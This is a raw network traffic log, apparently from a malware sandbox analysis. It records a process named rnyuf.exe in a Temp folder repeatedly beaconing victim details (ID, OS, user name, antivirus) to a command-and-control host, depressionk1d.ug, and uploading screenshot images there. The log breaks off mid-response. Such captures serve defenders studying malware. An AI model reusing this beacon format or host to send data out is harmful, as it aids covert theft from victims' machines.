Nov 12, 2021 22:23:57.747344971 CET	8706	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:57 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37
Nov 12, 2021 22:23:57.801731110 CET	8707	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:57.827413082 CET	8707	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
191	192.168.2.4	49977	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:57.970316887 CET	8721	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:57.995024920 CET	8721	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
192	192.168.2.4	49978	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:58.138899088 CET	8734	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:58.164282084 CET	8734	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Nov 12, 2021 22:23:58.178031921 CET	8734	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7b616cd57d8ad98a4b4d99fe00a47553 Host: depressionk1d.ug Content-Length: 106954 Cache-Control: no-cache
Nov 12, 2021 22:23:58.178155899 CET	8734	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 62 36 31 36 63 64 35 37 64 38 61 64 39 38 61 34 62 34 64 39 39 66 65 30 30 61 34 37 35 35 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7b616cd57d8ad98a4b4d99fe00a47553Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:58.186304092 CET	8744	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:58.186649084 CET	8747	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:58.209187984 CET	8768	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:58.209286928 CET	8774	OUT	Data Raw: da 6d 23 48 98 49 79 20 d9 34 c8 72 22 1d c0 3f de fe 5f 5a f1 b1 45 02 bd cc 06 02 96 0a 97 b3 a7 f3 7d c3 11 88 9d 79 f3 48 0d 6d 69 9f f2 0a 9b fe bb af fe 82 d5 8d 5b 3a 67 fc 82 e6 ff 00 ae eb ff 00 a0 b5 76 b3 02 5a 28 a2 82 4f a1 7c 2b e2 Data Ascii: m#HIy 4r"?_ZE}yHmi[:gvZ(O\|+-?]!$5Ian]gjNY3\|WzewvS<3YO}GJ6mu-49NI]%c$}3-*@qY.rF\ZI[ZP0Gp3
Nov 12, 2021 22:23:58.232085943 CET	8780	OUT	Data Raw: db b1 8f 24 64 74 c9 04 0a 7a 7f 88 6e f4 f8 44 6d 61 61 77 e5 dd 35 e5 b3 5c 23 93 6d 33 63 2c 9b 58 03 f7 54 e1 c3 0f 94 71 d7 31 c1 e2 0d 4a 19 2c 24 2b 04 92 58 db 5c 5b 23 38 62 5d 66 f3 37 96 e7 96 fd eb 63 18 ed d6 93 75 ed b6 bf f0 3f cf Data Ascii: $dtznDmaaw5\#m3c,XTq1J,$+X\[#8b]f7cu?VMK_j0X\[^A5KtP?0O~6\vOn[28 POe;[k6K'[l_r*T\|wHm#b1,&m$0=2
Nov 12, 2021 22:23:58.232177973 CET	8811	OUT	Data Raw: 34 fc 7f e0 fe 67 1e 1f 36 9a 56 a9 ae bf 87 fc 0f c8 e9 7e 21 7f c9 16 d3 7f dc b4 ff 00 d0 2b c1 4d 7b cf c4 3f f9 22 da 6f fb 96 9f fa 05 78 2d 71 d0 fb 5e ac ee ab b4 7d 10 b4 52 52 d6 e6 21 da 8a 5e d4 86 81 05 02 8a 51 40 05 2f 6a 4a 5a 60 Data Ascii: 4g6V~!+M{?"ox-q^}RR!^Q@/jJZ`Q@QQKLL)i)EKIE0u0udSsN8QMMU"XKH)jS4R8e(c0S,- N($\fSQ*#iE4!h-1J}0qJMZ!p <j2i4j@
Nov 12, 2021 22:23:58.232300997 CET	8827	OUT	Data Raw: 3d 9c a4 ef 27 73 89 a2 8a 51 d6 be 74 fa 63 d3 fe 05 7f c8 ed 7b ff 00 60 d7 ff 00 d1 91 d7 bd 5e 1f f4 57 fc 3f 9d 7c db f0 b3 c4 96 1e 18 f1 63 5c ea 4c c9 6f 71 6c d6 fe 60 19 08 4b 23 02 7d be 5f d6 bd a3 c7 7e 2e 8f c3 7e 1b b5 d5 61 b7 5b Data Ascii: ='sQtc{`^W?\|c\Loql`K#}_~.~a[HdAZI-ie0AW//k?\\+*'(3REu%(>\|?R^q+[;;KO0I9w
Nov 12, 2021 22:23:58.254834890 CET	8841	OUT	Data Raw: 67 ec a5 4a 6b b3 36 8d 55 56 2f ba 3c da 8a 28 ab 24 29 69 29 68 03 7b c0 ff 00 f2 3f f8 73 fe c2 76 df fa 35 6b eb cb bb 1d 52 6b a7 92 db 58 fb 3c 27 1b 62 fb 32 be de 3d 4f 5e 79 af 95 34 7b 38 6c cd 96 a1 02 94 ba 8f 64 c9 20 63 95 71 82 08 Data Ascii: gJk6UV/<($)i)h{?sv5kRkX<'b2=O^y4{8ld cqG:NX9Nc.!60;\|h8Ho,%QJYAd~eDZ\|2W'Z*Cn=K)W'o<GAjV0n%hwmrC
Nov 12, 2021 22:23:58.279544115 CET	8842	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:58 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
193	192.168.2.4	49980	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:58.312207937 CET	8843	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:58.337903976 CET	8843	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
194	192.168.2.4	49981	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:58.493805885 CET	8844	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:58.520597935 CET	8844	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
195	192.168.2.4	49982	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:58.679101944 CET	8850	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:58.704658985 CET	8850	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
196	192.168.2.4	49983	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:58.839951038 CET	8851	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:58.865799904 CET	8851	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
197	192.168.2.4	49984	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:59.006320000 CET	8865	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:59.033370972 CET	8904	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
198	192.168.2.4	49985	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:59.007424116 CET	8865	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----8ce385891442aafcc84e0cf96686219e Host: depressionk1d.ug Content-Length: 110494 Cache-Control: no-cache
Nov 12, 2021 22:23:59.007577896 CET	8865	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 63 65 33 38 35 38 39 31 34 34 32 61 61 66 63 63 38 34 65 30 63 66 39 36 36 38 36 32 31 39 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------8ce385891442aafcc84e0cf96686219eContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:59.007826090 CET	8875	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:59.008116961 CET	8878	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:59.030884981 CET	8886	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:59.030931950 CET	8892	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:23:59.030989885 CET	8895	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:23:59.031023026 CET	8899	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:59.031033993 CET	8900	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:23:59.031045914 CET	8904	OUT	Data Raw: 1d c8 50 67 31 ec 90 15 65 23 95 c0 3f 74 0e 46 7d eb 95 8f 52 bf 8a dd ed e3 bd b9 48 5d 76 bc 6b 2b 05 61 e8 46 70 45 74 47 0d 2b dd b2 25 88 8d ac 91 56 92 8a 2b b4 e4 14 51 45 14 c0 2b e9 3f 83 cc bf f0 85 6d c8 dc 26 04 8f 63 1a 7f 81 af 9b Data Ascii: Pg1e#?tF}RH]vk+aFpEtG+%V+QE+?m&c+oK>\Xr;+c*G:5)vRK[_f}+/5KHlb}(z9rZa{6>(Ucw5<OAK')uU+/ts`
Nov 12, 2021 22:23:59.054076910 CET	8907	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:59.103496075 CET	8979	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:59 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37
Nov 12, 2021 22:23:59.142946959 CET	9008	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:59.168920994 CET	9008	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
199	192.168.2.4	49986	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:59.314810038 CET	9034	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:59.340184927 CET	9035	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49782	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:06.731543064 CET	1039	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:06.754194975 CET	1041	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:23:06 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 